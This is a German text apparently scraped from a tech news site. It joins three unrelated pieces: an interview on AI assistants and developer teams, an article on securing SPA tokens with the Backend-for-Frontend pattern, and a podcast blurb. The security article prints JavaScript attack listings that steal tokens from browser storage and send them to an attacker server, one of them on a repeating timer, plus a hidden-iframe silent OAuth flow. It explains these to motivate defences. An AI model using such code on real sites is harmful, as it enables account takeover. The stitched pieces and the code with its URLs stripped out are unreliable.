KI-Assistenten ändern das Berufsbild von Entwicklerinnen und Entwicklern, reines Coden wird unwichtiger, während konzeptionelle Kompetenzen an Bedeutung gewinnen. Das hat Auswirkungen sowohl auf die Arbeit des einzelnen Coders als auch auf das Team und den agilen Prozess. heise developer spricht mit Facundo Giuliani, Teamleiter für den Bereich Solutions Engineering bei Storyblok, über die Zukunft von Developer-Teams im KI-Zeitalter.

Wie wirkt sich der vermehrte Einsatz von Coding-Assistenten auf die Struktur von Entwicklungsteams aus?

Entwicklungsteams bewegen sich zunehmend hin zu hybriden Kompetenzprofilen, bei denen das reine Programmieren nur noch ein Teil des Mehrwerts ist. Konzeptuelles Denken, die Einordnung von Problemen und Integrations-Know-how werden ebenso entscheidend sein wie das Schreiben von Code. Dadurch entstehen häufiger crossfunktionale Teams, in denen Entwicklerinnen, Designer und Product Owner immer früher und enger zusammenarbeiten. Unternehmen werden ihre Teams zunehmend um Problemfelder und angestrebte Ergebnisse herum organisieren und weniger um die reine Code-Delivery.

Was bedeutet das in der Praxis?

Teams werden rund um konkrete Kunden- oder Geschäftsherausforderungen aufgebaut. Etwa zur Optimierung der Onboarding-Conversion oder der Verkürzung der Content-Veröffentlichungszeit, statt für eine bestimmte Codebasis verantwortlich zu sein. Entwicklerinnen, Designer, Analystinnen und KI-Spezialisten arbeiten von Beginn an gemeinsam, definieren das Problem, testen Hypothesen und iterieren schnell. Der Erfolg wird dabei nicht mehr an Story Points oder Code Commits gemessen, sondern an echten Wirkungskriterien wie Nutzungsraten, Performance-Steigerungen oder reduzierter manueller Arbeit.

Es gibt ja Vermutungen, dass KI die Jobchancen von jungen Entwicklern verschlechtert. Wird sich künftig die Altersstruktur in Teams ändern?

Einstiegsrollen werden durch KI nicht wegfallen, aber die Bedeutung von Einstiegsjobs wird sich verschieben: Neueinsteigerinnen und -einsteiger werden sich künftig eher KI-gestützt mit komplexeren Aufgaben beschäftigen, anstatt primär Code auszuführen oder generieren zu lassen. Dadurch kann der Einstieg in den Tech-Bereich sogar zugänglicher werden, weil die Hürde zum Experimentieren sinkt und so vielfältigere Einstiegsmöglichkeiten erlaubt. Innerhalb der Teams wird es voraussichtlich eine ausgewogene Mischung aus erfahrenen Fachkräften geben, die die strategische Richtung vorgeben, und jüngeren Talenten, die mithilfe von KI schneller lernen und Ergebnisse erzielen können.

Damit verbessern sich ja auch die Chancen für Quereinsteiger?

Absolut! KI-Assistenten und Low-Code-Tools senken die technische Einstiegshürde und ermöglichen es damit Menschen mit Design-, Content- oder Data-Backgrounds, sich sinnvoll an Softwareprojekten zu beteiligen. Der Fokus auf Problemlösung, Kreativität und Kommunikation eröffnet Quereinsteigerinnen und Quereinsteigern neue Wege, Mehrwert zu schaffen, auch ohne von Beginn an tiefgehende Programmierkenntnisse mitzubringen.

Wie werden Teams in der KI-Zukunft arbeiten?

Teams übernehmen zunehmend die Orchestrierung von Systemen, statt selbst Zeile für Zeile zu coden. Sie kuratieren und validieren KI-generierte Komponenten. Der Arbeitsalltag wird menschliches Urteilsvermögen mit automatisierten Tests, Sicherheitsscans und von KI-Assistenten gespeisten Continuous-Delivery-Pipelines verbinden. Entwicklerinnen und Entwickler werden sich stärker auf Architekturentscheidungen, Qualitätssicherung und plattformübergreifende Integrationen konzentrieren, um zuverlässige Ergebnisse aus maschinell erzeugtem Code sicherzustellen.

Werden auch neue Rollen in Entwicklungsteams entstehen?

Wir sehen bereits neue hybride Rollen entstehen, die innerhalb von Produkt- und Plattform-Teams angesiedelt sind – beispielsweise die Rolle des Prompt Engineers oder System Orchestrators. Diese Positionen verbinden menschliche Intention mit maschineller Ausführung und gestalten, wie verschiedene Agenten, APIs und Content-Systeme miteinander interagieren.

Hat der verbreitete Einsatz von KI-Assistenten auch Auswirkungen auf den agilen Prozess?

KI-Assistenten verkürzen den Iterationszyklus und beschleunigen damit Planung, Backlog-Pflege und Prototyping deutlich. Stand-ups und Retrospektiven werden sich künftig weniger auf den Status einzelner Tasks konzentrieren und mehr darauf, Annahmen zu überprüfen und KI-Ergebnisse zu steuern. Agile Prozesse werden sich weiterentwickeln, um dabei Experimentieren, Metriken und kontinuierliche Validierung in den Vordergrund zu rücken, anstatt nur den Durchsatz von Sprints.

Welche Überlegungen sollten Teams jetzt anstellen, um zukunftsfähig zu bleiben?

Teams sollten verstärkt in Kompetenzentwicklung rund um Architektur, Integration und Orchestrierung investieren, da diese die Grundlage für langfristigen Erfolg bilden. Das Aufstellen und Testen von Standards sowie eine robuste Observability sind entscheidend, um KI sicher und in großem Maßstab einzubinden. Am wichtigsten ist jedoch, dass Teams eine Kultur der Flexibilität fördern, in der Entwicklerinnen und Entwickler ermutigt werden, neue Tools zu lernen, disziplinübergreifend zusammenzuarbeiten und KI eher als Partner statt als Ersatz zu begreifen.

(who)

Single-Page Applications (SPAs) haben die Entwicklung von Webanwendungen grundlegend verändert – sie sind schneller, interaktiver und bieten eine desktopähnliche Benutzererfahrung. Doch mit diesem Fortschritt kam ein fundamentales Sicherheitsproblem: Wie speichert man Zugriffstoken sicher im Browser?

Während traditionelle Serveranwendungen sensible Authentifizierungsdaten sicher serverseitig verwalteten, sind SPAs darauf angewiesen, Access-Token und Refresh-Token direkt im Browser zu speichern – sei es im localStorage, sessionStorage oder im JavaScript-Speicher. Diese Token sind jedoch ein gefundenes Fressen für Angreifer: Ein einziger XSS-Angriff genügt, um vollständigen Zugriff auf Benutzerkonten zu erlangen.

Das Backend-for-Frontend-(BFF)-Pattern verlagert das Token-Management zurück auf den Server, wo es hingehört, ohne die Vorteile moderner Single-Page Applications zu opfern. Dieser Artikel wirft einen praxisnahen Blick auf das Backend-for-Frontend-Pattern, erklärt die dahinterliegenden Sicherheitsprobleme von SPAs und OAuth2 und zeigt, wie sich sichere Authentifizierung in moderne Webanwendungen integrieren lässt. Dabei geht es sowohl um die technischen Implementierungsdetails als auch um die verbleibenden Herausforderungen, wie den Schutz vor Cross-Site Request Forgery (CSRF).

Das Problem: Token im Frontend

Single-Page Applications sind per Definition „öffentliche Clients“ – sie können keine Geheimnisse sicher speichern, da ihr Code vollständig im Browser ausgeführt wird. Dennoch benötigen sie Zugriffstoken, um auf geschützte APIs zuzugreifen. Die logische Konsequenz: Die Token müssen irgendwo im Browser gespeichert werden. Genau hier liegt das Problem. Ob localStorage, sessionStorage oder In-Memory-Speicherung – alle Ansätze sind anfällig für Cross-Site-Scripting-(XSS)-Angriffe. Eingeschleuster Schadcode kann problemlos auf diese Speicherorte zugreifen und die Token an Angreifer weiterleiten.

Der RFC-Draft „OAuth 2.0 for Browser-Based Applications“ macht das Ausmaß des Problems deutlich: Sobald Angreifer bösartigen JavaScript-Code in der Anwendung ausführen können, haben sie praktisch unbegrenzten Zugriff auf alle im Browser gespeicherten Daten – einschließlich sämtlicher Zugriffstoken.

Es folgen einige dieser Angriffsvektoren im Detail.

Single-Execution Token Theft

Der direkteste Angriff: JavaScript-Code durchsucht alle verfügbaren Speicherorte im Browser und sendet gefundene Token an einen vom Angreifer kontrollierten Server:

// Angreifer-Code extrahiert Token
const accessToken = localStorage.getItem('access_token');
const refreshToken = sessionStorage.getItem('refresh_token');

fetch(' {
  method: 'POST',
  body: JSON.stringify({accessToken, refreshToken})
});

Listing 1: Typische Attacke per Single-Execution Token Theft

Dieser Angriff funktioniert unabhängig davon, wo Token gespeichert sind. Ob localStorage, sessionStorage oder in Memory (in einer JavaScript-Variable) – der Angreifer hat denselben Zugriff wie die legitime Anwendung.

Schutzmaßnahmen und ihre Grenzen

Eine kurze Token-Lebensdauer (etwa 5-10 Minuten) kann den Schaden begrenzen, aber nicht verhindern. Wenn der Angriff innerhalb der Token-Lebensdauer stattfindet, ist er erfolgreich. Eine bessere Schutzmaßnahme ist die Aktivierung der Refresh Token Rotation. Hierbei wird bei jedem Token-Refresh das alte Refresh-Token invalidiert und ein neues ausgegeben:

Wie die obige Abbildung zeigt, erhält man zu jedem neuen Access-Token einen neuen Refresh-Token. Angenommen, der Angreifer würde das Token-Paar einmalig stehlen, so erhielte dieser zwar temporären Zugriff während der Access-Token-Lebensdauer, aber bei der ersten Verwendung des gestohlenen Refresh-Tokens würde der Token-Provider eine Token-Wiederverwendung aufspüren (Refresh Token Reuse Detection). Dies löst eine vollständige Invalidierung der Token-Familie aus – sowohl das kompromittierte Refresh-Token als auch alle damit verbundenen Token werden sofort widerrufen, was weiteren Missbrauch verhindert.

Persistent Token Theft

Diese Schutzmaßnahme versagt jedoch komplett bei Persistent Token Theft. Statt Token einmalig zu stehlen, stiehlt hierbei der kontinuierlich überwachende Angreifer immer die neuesten Token, bevor die legitime Anwendung sie verwenden kann. Ein Timer-basierter Mechanismus extrahiert alle paar Sekunden die neuesten Token:

// Angreifer installiert kontinuierliche Token-Überwachung
function stealTokensContinuously() {
  const currentTokens = {
    access: localStorage.getItem('access_token'),
    refresh: localStorage.getItem('refresh_token')
  };

 // Neue Token sofort an Angreifer senden
 fetch(' {
    method: 'POST',
    body: JSON.stringify({
      timestamp: Date.now(),
      tokens: currentTokens
    })
  });
}
// Überwachung alle 10 Sekunden
setInterval(stealTokensContinuously, 10000);

Listing 2: Persistent Token Theft

Diese Attacke funktioniert durch eine implizite Application Liveness Detection: Der kontinuierliche Token-Diebstahl überträgt dem Angreifer-Server nicht nur die Token, sondern fungiert gleichzeitig als „Heartbeat-Signal“ der kompromittierten Anwendung. Schließt der Nutzer den Browser oder navigiert weg, bricht dieser Heartbeat ab – der Angreifer erkennt sofort, dass die legitime Anwendung offline ist. In diesem Zeitfenster kann er das zuletzt gestohlene Refresh-Token gefahrlos für eigene Token-Requests verwenden, ohne eine Refresh Token Reuse Detection zu triggern, da keine konkurrierende Anwendungsinstanz mehr existiert, die dasselbe Token parallel verwenden könnte.

Aktuelle OAuth2-Sicherheitsrichtlinien für SPAs zielen darauf ab, die JavaScript-Zugänglichkeit von Token zu reduzieren. Führende Identity Provider wie Auth0 by Okta raten explizit von localStorage-basierter Token-Persistierung ab und empfehlen stattdessen In-Memory-Storage mit Web-Worker-Sandboxing als Schutz vor XSS-basierten Token-Extraction-Angriffen – selbst wenn dies Session-Kontinuität über Browser-Neustarts hinweg verhindert.

Diese defensiven Token-Storage-Strategien wirken jedoch nur in einem Teil der Angriffsoberfläche. Selbst bei optimaler In-Memory-Isolation mit Web-Worker-Sandboxing bleibt ein fundamentales Architekturproblem bestehen: SPAs agieren als öffentliche OAuth-Clients ohne Client-Secret-Authentifizierung. Diese Client-Konfiguration ermöglicht es Angreifern, die Token-Storage-Problematik vollständig zu umgehen und stattdessen eigenständigen Authorization Code Flow zu initiieren – ein Angriffsvektor, der unabhängig von der gewählten Token-Speicherstrategie funktioniert.

Acquisition of New Tokens

Bei dem Angriff namens Acquisition of New Tokens ignoriert der Angreifer bereits vorhandene Token komplett und startet stattdessen einen eigenen, vollständig neuen Authorization Code Flow. Das ist besonders heimtückisch, weil er dabei die noch aktive Session des Nutzers oder der Nutzerin beim Token-Provider ausnutzt.

Dabei erstellt der Angreifer ein verstecktes iFrame und startet einen legitimen OAuth-Flow:

// Angreifer startet eigenen OAuth-Flow
function acquireNewTokens() {
  // Verstecktes iframe erstellen
  const iframe = document.createElement('iframe');
  iframe.style.display = 'none';
  
  // Eigenen PKCE-Flow vorbereiten
  const codeVerifier = generateRandomString(128);
  const codeChallenge = base64URLEncode(sha256(codeVerifier));
  const state = generateRandomString(32);
  
  // Authorization URL konstruieren
  iframe.src = ` +
    `response_type=code&` +
    `client_id=legitimate-app&` + // Nutzt die echte Client-ID!
    `redirect_uri= +
    `scope=openid profile email api:read api:write&` +
    `state=${state}&` +
    `code_challenge=${codeChallenge}&` +
    `code_challenge_method=S256&` +
    `prompt=none`; // Wichtig: Keine Nutzer-Interaktion erforderlich!
  
  document.body.appendChild(iframe);
  
  // Callback-Handling vorbereiten
  window.addEventListener('message', handleAuthCallback);
}

function handleAuthCallback(event) {
  if (event.origin !== ' return;
  
  const authCode = extractCodeFromUrl(event.data.url);
  if (authCode) {
    // Authorization Code gegen Tokens tauschen
    exchangeCodeForTokens(authCode);
  }
}

Listing 3: Acquisition of New Tokens

Der Token-Provider kann diesen Angreifer-initiierten Flow nicht von einer legitimen Anwendungsanfrage unterscheiden, da alle Request-Parameter identisch sind. Entscheidend ist dabei der prompt=none-Parameter, der eine automatische Authentifizierung ohne User-Interaktion ermöglicht. Diese Silent Authentication funktioniert durch Session-Cookies, die der Token-Provider zuvor im Browser des Nutzers gesetzt hat, um dessen Anmeldestatus zu verfolgen. Diese Session-Cookies lassen sich automatisch auch über das versteckte iFrame übertragen und validieren den Angreifer-Flow als legitime Anfrage einer bereits authentifizierten Session.

Die Grundvoraussetzung aller beschriebenen Angriffsvektoren ist die erfolgreiche Ausführung von Cross-Site-Scripting-Code im Kontext der Anwendung. Das wirft eine fundamentale Frage auf: Stellt Cross-Site Scripting (XSS) in modernen Webanwendungen überhaupt noch eine realistische Bedrohung dar?

XSS galt lange als gelöstes Problem – moderne Browser haben umfassende Schutzmaßnahmen implementiert, Frameworks bieten automatisches Escaping, und Entwicklerinnen und Entwickler sind für die Gefahren sensibilisiert. Doch die Realität zeigt ein anderes Bild: Derartige Angriffe haben sich weiterentwickelt und nutzen neue Angriffsvektoren, die klassische Schutzmaßnahmen umgehen.

Supply-Chain-Attacken als Hauptbedrohung

Moderne Single-Page Applications integrieren durchschnittlich Hunderte von npm-Paketen. Ein einziges kompromittiertes Paket in der Dependency Chain genügt für vollständige Codeausführung im Browser. Das prominenteste Beispiel war das 2018 kompromittierte npm-Package event-stream mit zwei Millionen wöchentlichen Downloads, das gezielt Bitcoin-Wallet-Software angriff.

Content Security Policy kann nicht zwischen legitimen und kompromittierten npm-Paketen unterscheiden – der schädliche Code wird von einer vertrauenswürdigen Quelle geladen und ausgeführt. Ähnlich problematisch sind kompromittierte Content Delivery Networks oder Third-Party-Widgets wie Analytics-Tools, Chatbots oder Social-Media-Plug-ins.

Browser-Erweiterungen und DOM-basierte Angriffe

Kompromittierte Browser-Erweiterungen haben vollständigen Zugriff auf alle Tabs und können beliebigen Code in jede Website injizieren. Gleichzeitig ermöglichen DOM-basierte XSS-Angriffe über postMessage-APIs oder unsichere DOM-Manipulation die Umgehung vieler serverseitiger Schutzmaßnahmen. Besonders geschickt sind Polyglot-Angriffe, die JSONP-Endpoints oder andere vertrauenswürdige APIs missbrauchen, um Content Security Policy zu umgehen – der Schadcode erscheint als legitimer Request von einer erlaubten Quelle.

Diese modernen XSS-Varianten sind besonders raffiniert, weil sie Vertrauen missbrauchen. Der schädliche Code stammt scheinbar von vertrauenswürdigen Quellen, wird oft zeitverzögert oder nur unter bestimmten Bedingungen ausgeführt und umgeht dadurch sowohl technische Schutzmaßnahmen als auch menschliche Aufmerksamkeit. Ein kompromittiertes npm-Paket betrifft dabei nicht nur eine Anwendung, sondern wird über den Package Manager an tausende von Projekten verteilt – ein einzelner Angriff kann so eine massive Reichweite erzielen.

Richard Seidl hat sich für diese Folge seines Podcasts erneut Sebastian Dietrich eingeladen, um mit ihm über rechtliche Stolpersteine in Softwareprojekten zu sprechen: Es geht um Werkvertrag versus Dienstvertrag, Gewährleistung, Haftung und Warnpflicht.

Als Gerichtssachverständiger erklärt Sebastian Dietrich, warum Freelancer oft Erfolg schulden und agile Verträge schnell zum Werkvertrag werden, in dem plötzlich das ganze Backlog gilt. Das Duo zeigt, wie Leistungen klar beschrieben, Qualitätskriterien messbar festgelegt und der Stand der Technik als gemeinsamer Prozess dokumentiert werden.

Bei diesem Podcast dreht sich alles um Softwarequalität: Ob Testautomatisierung, Qualität in agilen Projekten, Testdaten oder Testteams – Richard Seidl und seine Gäste schauen sich Dinge an, die mehr Qualität in die Softwareentwicklung bringen.

Die aktuelle Ausgabe ist auch auf Richard Seidls Blog verfügbar: „Rechtliche Stolperfallen in Softwareverträgen – Sebastian Dietrich“ und steht auf YouTube bereit.

Ältere Folgen mit Sebastian Dietrich:

(mdo)